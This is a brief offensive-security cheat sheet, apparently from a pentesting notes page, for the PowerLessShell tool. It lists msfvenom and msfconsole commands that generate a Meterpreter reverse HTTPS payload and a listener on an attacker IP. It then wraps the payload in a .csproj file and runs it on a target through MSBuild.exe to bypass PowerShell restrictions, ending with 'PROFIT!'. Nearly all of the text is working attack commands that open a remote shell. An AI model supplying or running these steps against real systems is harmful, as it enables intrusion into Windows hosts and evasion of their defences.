PowerLessShell
Link: https://github.com/Mr-Un1k0d3r/PowerLessShell
Steps
1) Generate payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=<IP> LPORT=445 -f psh-reflection > shell.ps12) Set Metasploit listener (Meterpreter example)
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost <IP>;set lport 445;exploit"3) Build the project file
python2 PowerLessShell.py -type powershell -source ~/opt/shell.ps1 -output ~/opt/shell.csproj4) After building completes, transfer the .csproj file to the target system. Then use the command below to execute. (Framework versions will vary).
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\windows\temp\shell.csproj5) PROFIT!
Last updated